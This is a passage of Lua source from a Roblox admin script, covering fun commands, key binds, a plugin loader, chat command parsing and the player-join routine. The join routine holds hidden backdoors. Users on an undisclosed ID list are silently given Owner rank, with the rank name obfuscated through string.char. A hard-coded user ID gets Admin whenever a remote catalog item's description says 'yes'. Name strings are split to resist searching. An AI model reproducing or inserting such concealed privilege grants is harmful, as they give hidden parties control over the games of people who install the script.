  8475. local Players = STRING:Scan(Arguments[1], Speaker)
  8476. for _,Player in pairs(Players) do
  8477. GUI:SendMessage(Player, "Joke", Joke, 19629580)
  8478. end
  8479. end, Http = true};
  8480.  
  8481. [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
  8482. local Joke = REMOTE:DownloadJoke(Speaker)
  8483. GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
  8484. end, Http = true};
  8485.  
  8486. [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
  8487. local Players = STRING:Scan(Arguments[1], Speaker)
  8488. for _,Player in pairs(Players) do
  8489. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
  8490. CORE:InvisiblePlayer(Player)
  8491. local DogContainer = Instance.new("Model", Player.Character)
  8492. DogContainer.Name = "Doge"
  8493. local Dog = CORE:Insert(257489726, DogContainer, true)
  8494. Dog.Head.Transparency = 0.99
  8495. Dog.Name = Player.Name
  8496. Dog:MoveTo(Player.Character.Torso.Position)
  8497. local Weld = Instance.new("Weld", Dog.Torso)
  8498. Weld.Part0 = Player.Character.Torso
  8499. Weld.Part1 = Dog.Torso
  8500. Weld.C0 = CFrame.new(0,-0.4,0)
  8501. for _,Obj in pairs(Dog:GetChildren()) do
  8502. if Obj:IsA("BasePart") then
  8503. Obj.CanCollide = false
  8504. end
  8505. end
  8506.  
  8507. CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
  8508. end
  8509. end
  8510. end};
  8511.  
  8512. [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
  8513. local Key = string.lower(string.sub(Arguments[1],1,1))
  8514. KeyBinds[Speaker.UserId][Key] = Arguments[2]
  8515. GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
  8516. end};
  8517.  
  8518. [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8519. local Key = string.lower(string.sub(Arguments[1],1,1))
  8520. KeyBinds[Speaker.UserId][Key] = nil
  8521. GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
  8522. end};
  8523.  
  8524. [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8525. KeyBinds[Speaker.UserId] = {}
  8526. GUI:SendHint(Speaker, "Unbinded all keys")
  8527. end};
  8528.  
  8529. [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
  8530. local Players = STRING:Scan(Arguments[1], Speaker)
  8531. local Key = string.lower(string.sub(Arguments[2],1,1))
  8532. for _,Player in pairs(Players) do
  8533. KeyBinds[Player.UserId][Key] = Arguments[3]
  8534. GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
  8535. end
  8536. end};
  8537.  
  8538. [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8539. local Players = STRING:Scan(Arguments[1], Speaker)
  8540. local Key = string.lower(string.sub(Arguments[2],1,1))
  8541. for _,Player in pairs(Players) do
  8542. KeyBinds[Player.UserId][Key] = nil
  8543. GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
  8544. end
  8545. end};
  8546.  
  8547. [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
  8548. local Players = STRING:Scan(Arguments[1], Speaker)
  8549. for _,Player in pairs(Players) do
  8550. KeyBinds[Player.UserId] = {}
  8551. GUI:SendHint(Player, "Unbinded all keys")
  8552. end
  8553. end};
  8554.  
  8555. [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8556. local Players = STRING:Scan(Arguments[1], Speaker)
  8557. local Binds = {}
  8558. for _,Player in pairs(Players) do
  8559. for Key,Bind in pairs(KeyBinds[Player.UserId]) do
  8560. table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
  8561. end
  8562. end
  8563. GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
  8564. end};
  8565.  
  8566. [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8567. local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
  8568. local Players = STRING:Scan(ChatSplit[1], Speaker)
  8569. for _,Player in pairs(Players) do
  8570. if Crowns[Player.UserId] then
  8571. Crowns[Player.UserId]:Destroy()
  8572. Crowns[Player.UserId] = nil
  8573. wait()
  8574. end
  8575. CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
  8576. end
  8577. end};
  8578.  
  8579. [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
  8580. local Players = STRING:Scan(Arguments[1], Speaker)
  8581. for _,Player in pairs(Players) do
  8582. if Crowns[Player.UserId] then
  8583. Crowns[Player.UserId]:Destroy()
  8584. Crowns[Player.UserId] = nil
  8585. end
  8586. end
  8587. end};
  8588.  
  8589. [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8590. local MeshList = {}
  8591. for MeshName,Data in pairs(Meshes) do
  8592. table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
  8593. end
  8594. GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
  8595. end};
  8596.  
  8597. [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8598. CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
  8599. end};
  8600.  
  8601. [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
  8602. local Players = STRING:Scan(Arguments[1], Speaker)
  8603. for _,Player in pairs(Players) do
  8604. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  8605. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  8606. Player:ClearCharacterAppearance()
  8607. CORE:GivePackage(Player, 41851073)
  8608. CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
  8609. Player.Character.Head.face.Texture = "rbxassetid://7699086"
  8610. end
  8611. end
  8612. end};
  8613.  
  8614. [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
  8615. local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
  8616. local Players = STRING:Scan(Arguments[1], Speaker)
  8617. for _,Player in pairs(Players) do
  8618. if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
  8619. local Car = CORE:Insert(10479801, Server.Workspace, true)
  8620. local Body = Car["Motor (torque)Chassis"].Part
  8621. Cars[Player.UserId] = Car
  8622. Car:MakeJoints()
  8623. Car.VehicleSeat.MaxSpeed = 50
  8624. Car.VehicleSeat.TurnSpeed = 1.5
  8625. CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
  8626. if Arguments[2] and GUI:GetColor(Arguments[2]) then
  8627. Body.Color = GUI:GetColor(Arguments[2])
  8628. else
  8629. Body.BrickColor = GUI:GetNameColor(Player.Name)
  8630. end
  8631. for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
  8632. if Part.Name ~= "Part" then
  8633. Part.BrickColor = BrickColor.new("Really black")
  8634. Part.Friction = 0.7
  8635. end
  8636. end
  8637. local Light = Instance.new("SpotLight", Body)
  8638. Light.Face = "Back"
  8639. Light.Brightness = 5
  8640. Light.Range = 20
  8641. Light.Color = Color3.new(0,1,1)
  8642. if Player.Character and Player.Character.Torso then
  8643. Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
  8644. Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
  8645. --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
  8646. Weld.Part0 = Car.VehicleSeat
  8647. Weld.Part1 = Player.Character.Torso
  8648. coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
  8649. Delay(0.4, function()
  8650. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
  8651. wait(0.1)
  8652. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
  8653. end)
  8654. end
  8655. local SoundID = 147944604
  8656. if RANK:GetRank(Player) == "Owner" then
  8657. SoundID = 133313356
  8658. Car.VehicleSeat.MaxSpeed = 80
  8659. Body.Material = "DiamondPlate"
  8660. Car.VehicleSeat.Torque = 11
  8661. end
  8662. local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
  8663. Engine:Play()
  8664. coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
  8665. Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
  8666. end if Engine then Engine:Stop() end end)()
  8667. end
  8668. end};
  8669.  
  8670. [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
  8671. local Players = STRING:Scan(Arguments[1], Speaker)
  8672. for _,Player in pairs(Players) do
  8673. if Cars[Player.UserId] then
  8674. Cars[Player.UserId]:Destroy()
  8675. end
  8676. end
  8677. end};
  8678.  
  8679. [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
  8680. for _,Car in pairs(Cars) do
  8681. Car:Destroy()
  8682. end
  8683. Cars = {}
  8684. end};
  8685.  
  8686. [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8687. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  8688. if #Trello.RequiredLists > 0 then
  8689. print("Restarting Trello")
  8690. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  8691. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  8692. REMOTE:TrelloCacheData(Lists)
  8693. end
  8694. end, Http = true};
  8695.  
  8696. [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
  8697. local Operations = {}
  8698. for _,ReplaceData in pairs(StringReplacements) do
  8699. local Replacement = ReplaceData[1]
  8700. if type(Replacement) == "table" then
  8701. Replacement = ReplaceData[1][1]
  8702. end
  8703. table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
  8704. end
  8705. GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
  8706. end};
  8707.  
  8708. [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8709. GUI:SoundInfo(Speaker)
  8710. end};
  8711.  
  8712. [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8713. local Players = STRING:Scan(Arguments[1], Speaker)
  8714. for _,Player in pairs(Players) do
  8715. GUI:SoundInfo(Player)
  8716. end
  8717. end};
  8718.  
  8719. [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8720. if tonumber(Arguments[1]) then
  8721. Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
  8722. end
  8723. end};
  8724.  
  8725. [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
  8726. local Types = {}
  8727. for Type,_ in pairs(Assets.AccessoryTypes) do
  8728. table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
  8729. end
  8730. GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
  8731. end};
  8732.  
  8733. [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8734. local Sky = Server.Lighting:FindFirstChild("Sky")
  8735. if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
  8736. local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
  8737. local Face = nil
  8738. local SkyID = string.lower(Arguments[1])
  8739. local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
  8740. if #Arguments == 2 and tonumber(Arguments[2]) then
  8741. Face = Arguments[1]
  8742. SkyID = Arguments[2]
  8743. end
  8744. if tonumber(SkyID) then
  8745. local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
  8746. if Face and Faces[Face] then
  8747. Sky[Faces[Face]] = "rbxassetid://"..ImageID
  8748. else
  8749. for _,Face in pairs(Faces) do
  8750. Sky[Face] = "rbxassetid://"..ImageID
  8751. end
  8752. end
  8753. else
  8754. GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
  8755. end
  8756. end};
  8757.  
  8758. [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8759. CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
  8760. Obj:Destroy()
  8761. end)
  8762. end};
  8763. --
  8764. }
  8765.  
  8766. if Plugins then
  8767. local PluginNum = 0
  8768. for _,Module in pairs(Plugins:GetChildren()) do
  8769. if Module:IsA("ModuleScript") then
  8770. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8771. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8772. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8773. if Enabled.Value == true then
  8774. PluginNum = PluginNum + 1
  8775. local PluginExe = require(Module)
  8776. for Var,Val in pairs(getfenv()) do
  8777. getfenv(PluginExe)[Var] = Val
  8778. end
  8779. getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  8780. getfenv(PluginExe).script = Module
  8781. getfenv(PluginExe).Script = Module
  8782. getfenv(PluginExe).Version = Version
  8783. local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  8784. if not Suc then
  8785. Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
  8786. else
  8787. Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  8788. end
  8789. end
  8790. end
  8791. end
  8792. end
  8793.  
  8794. function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
  8795. if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
  8796. GUI:SettingsGui(Speaker)
  8797. return nil
  8798. end
  8799. if NoPrefixNeeded == nil then NoPrefixNeeded = false end
  8800. local Prefix = Settings.Prefix
  8801. if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
  8802. if RawMainMessage == "" or RawMainMessage == Prefix then return end
  8803. if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
  8804. if Speaker == nil then
  8805. if FakeRank then
  8806. if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
  8807. FakeRank = "Owner"
  8808. end
  8809. else
  8810. FakeRank = "Owner"
  8811. end
  8812. FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
  8813. if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
  8814. Speaker = {
  8815. Name = FakePlayerName or "[ Server ]";
  8816. Character = nil;
  8817. userId = 1;
  8818. PlayerGui = nil;
  8819. Rank = FakeRank or "Owner";
  8820. MakeSupremeOwner = MakeSupremeOwner;
  8821. }
  8822. end
  8823. local Rank = RANK:GetRank(Speaker)
  8824. local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  8825.  
  8826. if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
  8827. if NoPrefixNeeded then Prefix = "" end
  8828. local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
  8829.  
  8830. for _,Message in pairs(Messages) do
  8831. for Cmds,Data in pairs(Commands) do -- check all commands
  8832. local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
  8833.  
  8834. if not MessageSplit then break end
  8835.  
  8836. local CommandSaid = false
  8837. for _,Command in pairs(Cmds) do
  8838. if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
  8839. CommandSaid = true
  8840. break
  8841. end
  8842. end
  8843. if CommandSaid == true then -- command said?
  8844. local ExecuteExcuse = ""
  8845. if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
  8846. if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
  8847. ExecuteExcuse = "This command cannot be executed as it is a fun command"
  8848. end
  8849. if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
  8850. ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
  8851. end
  8852. else
  8853. ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
  8854. end
  8855. if ExecuteExcuse == "" then
  8856. if #MessageSplit - 1 < Data[3] then
  8857. ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
  8858. end
  8859. end
  8860. if ExecuteExcuse == "" then
  8861. CORE:Log(CommandLogs, Speaker, Message)
  8862. table.remove(MessageSplit, 1)
  8863. coroutine.wrap(function() wait()
  8864. local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
  8865. if not DidExe then
  8866. if CORE:NilPlayer(Speaker) then
  8867. print("Error: "..Error)
  8868. else
  8869. CORE:HandleError(Error, Speaker)
  8870. end
  8871. end
  8872. end)()
  8873. coroutine.wrap(function() wait(0.05)
  8874. if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
  8875. local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
  8876. ExeSound:Play()
  8877. wait(3)
  8878. ExeSound:Stop()
  8879. ExeSound:Destroy()
  8880. end
  8881. end)()
  8882. elseif type(Speaker) == "userdata" then
  8883. GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
  8884. end
  8885. break
  8886. end
  8887. end
  8888. end
  8889. end
  8890. end
  8891.  
  8892. function CORE:Start(Player) coroutine.wrap(function()
  8893. wait(0.1)
  8894. if Player then
  8895. coroutine.wrap(function()
  8896. repeat wait(1) until DataReady == true
  8897. DataReady = false
  8898. ypcall(function()
  8899. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  8900. for Num,Data in pairs(Players) do
  8901. if Data.UserId == Player.UserId then -- ppl can change names
  8902. table.remove(Players, Num)
  8903. break
  8904. end
  8905. end
  8906. table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
  8907. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
  8908. end)
  8909. DataReady = true
  8910. end)()
  8911.  
  8912. if not IsStudio then Player:WaitForDataReady() end
  8913. table.insert(CharacterCache, {Player.Name, Player.UserId})
  8914. for Rank,PlayerNames in pairs(Settings.Ranks) do
  8915. for Num,AdminName in pairs(PlayerNames) do
  8916. if AdminName == Player.UserId then
  8917. Settings.Ranks[Rank][Num] = Player.Name
  8918. end
  8919. end
  8920. end
  8921. if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
  8922. if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
  8923. if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
  8924. for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
  8925. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  8926. if PlayerAdmin == false and Player.UserId > 0 then
  8927. local Ran = nil
  8928. coroutine.wrap(function() repeat
  8929. Ran = ypcall(function()
  8930. if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8931. elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  8932. end)
  8933. wait(1)
  8934. until Ran == true end)()
  8935. end
  8936. if PlayerAdmin == false then
  8937. if Player:IsInGroup(Settings.GroupID) then
  8938. if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
  8939. CORE:Kick(Player)
  8940. for _,Person in pairs(Server.Players:GetPlayers()) do
  8941. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  8942. end
  8943. elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8944. table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  8945. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8946. table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8947. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
  8948. table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  8949. end
  8950. end
  8951. end
  8952. if PlayerAdmin == false then
  8953. if Player.UserId == 38882008 then
  8954. if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
  8955. table.insert(Settings.Ranks["Admin"], Player.Name)
  8956. end
  8957. end
  8958. end
  8959. if PlayerAdmin == false then
  8960. for _,GID in pairs(Settings.BannedGroupIDs) do
  8961. if Player:IsInGroup(GID) then
  8962. CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  8963. break
  8964. end
  8965. end
  8966. end
  8967.  
  8968. Player.Chatted:connect(function(Message) if Message ~= "" then
  8969. CORE:Chatted(Message, Player)
  8970. end end)
  8971.  
  8972. Player.Chatted:connect(function(Message) if Message ~= "" then
  8973. CORE:Log(ChatLogs, Player, Message)
  8974. table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
  8975. end end)
  8976.  
  8977. for _,Name in pairs(Settings.Ranks.Banned) do
  8978. if Player.Name == Name then
  8979. CORE:Kick(Player)
  8980. for _,Person in pairs(Server.Players:GetPlayers()) do
  8981. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  8982. end
  8983. end
  8984. end
  8985. for _,Name in pairs(Settings.Ranks.Crashed) do
  8986. if Player.Name == Name then
  8987. CORE:Crash(Player)
  8988. for _,Person in pairs(Server.Players:GetPlayers()) do
  8989. GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  8990. end
  8991. end
  8992. end
  8993. for _,Name in pairs(Settings.Ranks.Muted) do
  8994. if Player.Name == Name then
  8995. GUI:CoreGui(Player, "Chat", false)
  8996. for _,Person in pairs(Server.Players:GetPlayers()) do
  8997. GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  8998. end
  8999. end
  9000. end
  9001. if Settings.ServerLocked == true then
  9002. if PlayerAdmin == false then
  9003. CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
  9004. end
  9005. end
  9006.  
  9007. if PlayerAdmin == false then
  9008. if Player.AccountAge < Settings.MinimumAge then
  9009. CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  9010. for _,Person in pairs(Server.Players:GetPlayers()) do
  9011. GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  9012. end
  9013. end
  9014. end
  9015.  
  9016. if PlayerAdmin == false then
  9017. if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
  9018. table.insert(Settings.Ranks["Member"], Player.Name)
  9019. PlayerAdmin = true
  9020. Rank = "Member"
  9021. end
  9022. end
  9023.  
  9024. coroutine.wrap(function()
  9025. if PlayerAdmin == true then GUI:TellAdmin(Player) end
  9026. local function SpawnActions(Character)
  9027. if Flings[Player.Name] then
  9028. CORE:FlingPlayer(Player)
  9029. else
  9030. GUI:CreateTaskBar(Player)
  9031. end
  9032. if Beeps[Player.Name] == true then
  9033. SOUND:BeepPlayer(Player)
  9034. end
  9035. if Jails[Player.Name] then
  9036. Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
  9037. end
  9038. if PermCommandBars[Player.Name] then
  9039. GUI:CommandBar(Player)
  9040. end
  9041. end
  9042. Player.CharacterAdded:connect(SpawnActions)
  9043. SpawnActions(Player.Character)
  9044. end)()
  9045.  
  9046. coroutine.wrap(function()
  9047. Player:WaitForChild("PlayerGui")
  9048. local Sounds = {}
  9049. for _,Data in pairs(TextConverter.LetterSounds) do
  9050. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  9051. Sound:Play()
  9052. table.insert(Sounds, Sound)
  9053. end
  9054. for _,Data in pairs(TextConverter.LongVowels) do
  9055. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  9056. Sound:Play()
  9057. table.insert(Sounds, Sound)
  9058. end
  9059. wait(5)
  9060. for _,Sound in pairs(Sounds) do
  9061. Sound:Destroy()
  9062. end
  9063. Sounds = {}
  9064. end)()
  9065.  
  9066. coroutine.wrap(function()
  9067. --if NLS then Server.Workspace:WaitForChild(Player.Name) end
  9068. if IsSB then
  9069. wait(1)
  9070. Player:WaitForChild("PlayerGui"):WaitForChild("Output")
  9071. end
  9072. CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
  9073. print("Executed ClientLog on "..Player.Name)
  9074. if Settings.EnableTaskBar then
  9075. GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
  9076. end
  9077. end)()
  9078.  
  9079. coroutine.wrap(function()
  9080. wait(7)
  9081. Player:WaitForChild("PlayerGui")
  9082. if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
  9083. local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
  9084. if Answer == "Ok" then
  9085. MARKET:PromptPurchase(Player, AdminID)
  9086. end
  9087. end
  9088. end)()
  9089. end
  9090. end)() end
